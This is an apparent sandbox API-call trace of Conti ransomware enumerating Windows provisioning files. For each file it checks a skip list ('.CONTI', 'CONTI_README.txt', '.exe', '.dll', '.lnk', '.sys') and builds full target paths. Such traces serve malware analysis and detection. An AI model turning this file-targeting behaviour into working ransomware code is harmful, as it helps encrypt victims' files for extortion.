	[0108.188] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="204__C~1.PRO")) returned 1
	[0108.188] lstrcmpiW (lpString1="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0108.189] lstrcmpiW (lpString1="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0108.189] StrStrIW (lpFirst="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0108.189] StrStrIW (lpFirst="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.189] StrStrIW (lpFirst="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".exe") returned 0x0
	[0108.189] StrStrIW (lpFirst="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".dll") returned 0x0
	[0108.189] StrStrIW (lpFirst="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".lnk") returned 0x0
	[0108.189] StrStrIW (lpFirst="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".sys") returned 0x0
	[0108.189] StrStrIW (lpFirst="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0108.189] StrStrIW (lpFirst="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.189] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.189] lstrlenW (lpString="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0108.189] GetProcessHeap () returned 0x1720000
	[0108.189] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6588430
	[0108.189] lstrcpyW (in: lpString1=0x6588430, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.189] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.189] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0108.189] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="205__C~1.PRO")) returned 1
	[0108.189] lstrcmpiW (lpString1="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.189] lstrcmpiW (lpString1="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.189] StrStrIW (lpFirst="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.189] StrStrIW (lpFirst="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.189] StrStrIW (lpFirst="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.189] StrStrIW (lpFirst="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.189] StrStrIW (lpFirst="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.189] StrStrIW (lpFirst="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.189] StrStrIW (lpFirst="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.189] StrStrIW (lpFirst="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.189] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.189] lstrlenW (lpString="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml") returned 62
	[0108.189] GetProcessHeap () returned 0x1720000
	[0108.189] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x6588be0
	[0108.190] lstrcpyW (in: lpString1=0x6588be0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.190] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.190] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml"
	[0108.190] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="206__C~1.PRO")) returned 1
	[0108.190] lstrcmpiW (lpString1="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.190] lstrcmpiW (lpString1="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.190] StrStrIW (lpFirst="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.190] StrStrIW (lpFirst="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.190] StrStrIW (lpFirst="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.190] StrStrIW (lpFirst="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.190] StrStrIW (lpFirst="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.190] StrStrIW (lpFirst="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.190] StrStrIW (lpFirst="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.190] StrStrIW (lpFirst="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.190] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.190] lstrlenW (lpString="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml") returned 76
	[0108.190] GetProcessHeap () returned 0x1720000
	[0108.190] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x181db30
	[0108.190] lstrcpyW (in: lpString1=0x181db30, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.190] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.190] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml"
	[0108.190] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="207__C~1.PRO")) returned 1
	[0108.190] lstrcmpiW (lpString1="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0108.190] lstrcmpiW (lpString1="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0108.190] StrStrIW (lpFirst="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.190] StrStrIW (lpFirst="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.190] StrStrIW (lpFirst="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0108.190] StrStrIW (lpFirst="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0108.190] StrStrIW (lpFirst="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0108.191] StrStrIW (lpFirst="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0108.191] StrStrIW (lpFirst="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.191] StrStrIW (lpFirst="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.191] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.191] lstrlenW (lpString="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0108.191] GetProcessHeap () returned 0x1720000
	[0108.191] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c37c0
	[0108.191] lstrcpyW (in: lpString1=0x17c37c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.191] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.191] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.191] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="208__C~1.PRO")) returned 1
	[0108.581] lstrcmpiW (lpString1="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.581] lstrcmpiW (lpString1="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.581] StrStrIW (lpFirst="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.581] StrStrIW (lpFirst="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.581] StrStrIW (lpFirst="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.581] StrStrIW (lpFirst="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.581] StrStrIW (lpFirst="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.581] StrStrIW (lpFirst="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.581] StrStrIW (lpFirst="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.581] StrStrIW (lpFirst="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.581] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.581] lstrlenW (lpString="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml") returned 66
	[0108.581] GetProcessHeap () returned 0x1720000
	[0108.581] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65894d8
	[0108.581] lstrcpyW (in: lpString1=0x65894d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml"
	[0108.582] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="209__C~1.PRO")) returned 1
	[0108.582] lstrcmpiW (lpString1="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.582] lstrcmpiW (lpString1="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.582] StrStrIW (lpFirst="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.582] StrStrIW (lpFirst="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.582] StrStrIW (lpFirst="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.582] StrStrIW (lpFirst="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.582] StrStrIW (lpFirst="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.582] StrStrIW (lpFirst="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.582] StrStrIW (lpFirst="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.582] StrStrIW (lpFirst="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.582] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.582] lstrlenW (lpString="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml") returned 65
	[0108.582] GetProcessHeap () returned 0x1720000
	[0108.582] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6589620
	[0108.582] lstrcpyW (in: lpString1=0x6589620, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.582] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.582] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml"
	[0108.582] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="20__CO~1.PRO")) returned 1
	[0108.582] lstrcmpiW (lpString1="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.582] lstrcmpiW (lpString1="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.582] StrStrIW (lpFirst="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.582] StrStrIW (lpFirst="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.582] StrStrIW (lpFirst="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.582] StrStrIW (lpFirst="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.582] StrStrIW (lpFirst="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.582] StrStrIW (lpFirst="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.582] StrStrIW (lpFirst="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.582] StrStrIW (lpFirst="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.582] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.582] lstrlenW (lpString="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml") returned 68
	[0108.582] GetProcessHeap () returned 0x1720000
	[0108.583] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6588d28
	[0108.583] lstrcpyW (in: lpString1=0x6588d28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.583] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
